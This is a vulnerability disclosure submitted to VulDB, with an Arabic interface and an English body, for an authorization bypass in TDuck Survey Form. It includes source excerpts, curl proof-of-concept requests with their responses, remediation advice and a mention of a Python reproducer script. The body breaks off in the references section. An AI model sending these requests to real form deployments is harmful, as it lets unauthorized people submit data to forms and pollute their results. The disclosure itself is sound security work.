| عنوان | Github tduck-survey-form 4.0-5.3 broken access controll |
|---|
| الوصف | # TDuck Form Platform: Write-Restriction Bypass via `POST /user/form/data/create` (Missing Server-Side Restriction Check) and Non-Enforced Write Password
## Summary
**Title:** The authenticated fill-in endpoint `POST /user/form/data/create` of TDuckCloud `tduck-survey-form` never invokes the form's write-restriction check, letting any logged-in user bypass the form owner's configured restrictions (write password, IP whitelist/limits, submission quotas); additionally the "write password" is never verified anywhere on the server-side submission path.
Form owners can configure fill-in restrictions (`FormSettingSchemaStruct`: write password `writePassword`, IP limits, submission quotas, designated fillers, etc.). All server-side checks are centralized in `UserFormSettingService.getUserFormWriteSettingStatus(...)`, but that method is invoked **only** by the public fill-in endpoint `POST /user/form/data/public/create` (`UserFormResultController.java:152-172`) — the authenticated endpoint `POST /user/form/data/create` (`:135-143`) **never calls it** and writes straight to the database. Verified consequences: with `ipWriteCountLimit=1` set on the victim's form, a second anonymous submission via `public/create` from the same IP is rejected, while an authenticated `create` from a non-owner account succeeds. Furthermore, the write password (`passwordWriteStatus=true`) is verified only by the front-end helper endpoint `POST /user/form/public/checkWritePwd`; the server-side submission chain never checks it — an anonymous caller without the password successfully submits data.
## Affected Product / Versions
| Item | Value |
| ------------------ | ------------------------------------------------------------ |
| Product | TDuckCloud `tduck-survey-form` (open-source Java Spring Boot online form platform) |
| Affected component | `tduck-api` module `UserFormResultController`; `tduck-form` module `UserFormSettingService` |
| Affected versions | All releases containing this defect. Verified against official image `tduckcloud/tduck-platform` (build 2026-06-10) and source baseline commit `43ffa9c9` (tag `Tduckx-13`); the same vulnerable code exists in the `v5.0` and `v4.0` source tags. |
| Test environment | `http://localhost:8999`; attacker is an ordinary user (`admin=false`); the victim's form has restrictions enabled |
## Root Cause (source evidence)
`tduck-api/src/main/java/com/tduck/cloud/api/web/controller/UserFormResultController.java`:
```java
// lines 135-143: authenticated fill-in — no restriction check
@PostMapping("/create")
public Result createFormResult(@RequestBody UserFormDataEntity entity, HttpServletRequest request) {
ValidatorUtils.validateEntity(entity);
entity.setSubmitRequestIp(HttpUtils.getIpAddr(request));
entity.setCreateBy(SecurityUtils.getUserId() != null ? String.valueOf(SecurityUtils.getUserId()) : null);
Map<String, Object> result = formResultService.saveFormResult(entity); // direct DB write
return Result.success(result);
}
// lines 152-172: public fill-in — restriction check present (control group)
@PostMapping("/public/create")
@PermitAll
public Result<Map<String, Object>> createPublicFormResult(...) {
...
Result<Boolean> userFormSettingStatus =
userFormSettingService.getUserFormWriteSettingStatus(
entity.getFormKey(), entity.getSubmitRequestIp(),
entity.getWxOpenId(), CommonConstants.ConstantNumber.ONE); // the only server-side check point
if (StrUtil.isNotBlank(userFormSettingStatus.getMsg())) {
return Result.failed(userFormSettingStatus.getMsg()); // reject
}
...
}
```
- `getUserFormWriteSettingStatus` is called from exactly two places in the whole repository: `public/create` and `GET /user/form/setting-status` (a status query) — the `/create` path is missing it entirely.
- The check covers: fill-in time windows, per-WeChat / per-IP / total submission quotas, per-account quotas, etc. (`UserFormSettingServiceImpl.java:77-135`).
- The **write password** (`passwordWriteStatus`/`writePassword`) is never validated in the server-side submission chain: the only password check is the front-end helper `POST /user/form/public/checkWritePwd` (`UserFormSettingController.java:154-161`), which returns a boolean hint and plays no part in rejecting submissions.
## CWE
- CWE-863: Incorrect Authorization (missing restriction-check entry point)
- CWE-284: Improper Access Control
- CWE-306: Missing Authentication for Critical Function (the write password is effectively decorative)
## Attack Vector & Preconditions
- Attacker: any authenticated user (ordinary account suffices); for the non-enforced write password, an **anonymous** caller also suffices.
- Precondition: the target form's `formKey` (public share link).
- Impact: bypass write password → unauthorized submissions (including anonymous); bypass IP/designated-filler restrictions → data injected from outside the allowed channels; bypass quotas → submission flooding and polluted statistics.
## PoC (verified evidence)
> Environment `http://localhost:8999`; auth header `token: <JWT>`.
> Victim `[email protected]`, form `formKey=8wYgRIGX` with `ipWriteCountLimitStatus=true, ipWriteCountLimit=1, passwordWriteStatus=true, writePassword="s3cr3t"`; one prior submission from IP 172.20.0.1 exists. Attacker `[email protected]` (id=1002, `admin=false`).
### 1) Control group: anonymous `public/create` (2nd submission from the same IP, must be rejected)
```bash
curl -s -X POST "http://localhost:8999/user/form/data/public/create" \
-H "Content-Type: application/json" \
-d '{"formKey":"8wYgRIGX","originalData":{"input1":"anon-blocked","input2":"x"}}'
```
Actual response (`code=500`, blocked by the restriction):
```json
{"code": 500, "msg": "该IP已经提交过数据,不可重复提交,有问题请与表单发布者联系", "data": null}
```
### 2) Attack group: authenticated `/create` (restriction bypassed, write succeeds)
```bash
curl -s -X POST "http://localhost:8999/user/form/data/create" \
-H "token: <attacker-token>" -H "Content-Type: application/json" \
-d '{"formKey":"8wYgRIGX","originalData":{"input1":"attacker-bypass","input2":"y"}}'
```
Actual response (`code=200`, accepted, dataId=211739):
```json
{"code": 200, "msg": null, "data": {"id": 211739}}
```
→ Control rejected by the IP quota; attack group bypassed the restriction — vulnerability confirmed.
### 3) Additional evidence: the write password is never enforced server-side (anonymous submit without password succeeds)
Fresh published form `formKey=HJqjLKr2` with `passwordWriteStatus=true, writePassword="s3cr3t"`; anonymous submission **without any password**:
```bash
curl -s -X POST "http://localhost:8999/user/form/data/public/create" \
-H "Content-Type: application/json" \
-d '{"formKey":"HJqjLKr2","originalData":{"f1":"no-password-submitted"}}'
```
Actual response (`code=200`, accepted, dataId=211740): `{"code":200,"msg":null,"data":{"id":211740}}`
→ The write password is only checked client-side via `checkWritePwd`; direct API calls (both `/create` and `/public/create`) bypass it entirely.
## Impact
1. **Write-password bypass:** unauthorized persons, including anonymous callers, can fill forms intended for invited users only.
2. **IP / designated-filler restriction bypass:** data can be injected from outside the allowed channels.
3. **Quota bypass:** submission flooding and polluted statistics/vote results.
4. Very low exploitation threshold: ordinary account + public `formKey` (no account at all needed for the password bypass).
## Remediation
1. Make `createFormResult` call `getUserFormWriteSettingStatus` before persisting, exactly like `createPublicFormResult`.
2. Move the restriction check down into `UserFormDataServiceImpl.saveFormResult` so that future entry points cannot miss it.
3. **Enforce the write password on the server-side submission path** (compare `writePassword`/verify a one-time token inside `saveFormResult`); `checkWritePwd` may remain as a front-end helper but must not be the only gate.
## Reproducer Script
A dependency-free Python 3 reproducer for this issue is provided as `tduck-poc/poc_form_data_create_bypass.py` and has been executed successfully against the same target and ordinary (non-admin) accounts described above:
```bash
python3 poc_form_data_create_bypass.py --victim-account [email protected] --victim-password xxx --account [email protected] --password xxx
```
> The script defaults to `http://127.0.0.1:8999` with the `token` auth header (this deployment's `platform.jwt.header`); replace the test accounts/address before submission, consistent with the PoC in the body.
## References & Disclosure
- Affected source: `tduck-api/.../web/controller/UserFormResultController.java:135-172`; restriction check `tduck-form/.../service/impl/UserFormSettingServiceImpl.getUserFormWriteSettingStatus` (`:77-135`); passwor |
|---|
| المستخدم | lincoke (UID 100021) |
|---|
| ارسال | 07/09/2026 10:06 AM (1 شهر منذ) |
|---|
| الاعتدال | 11/10/2026 11:46 AM (1 month later) |
|---|
| الحالة | مكرر |
|---|
| إدخال VulDB | 410424 [TDuckCloud TDuck Survey Form حتى 6.0 /user/form/data/create تجاوز الصلاحيات] |
|---|
| النقاط | 0 |
|---|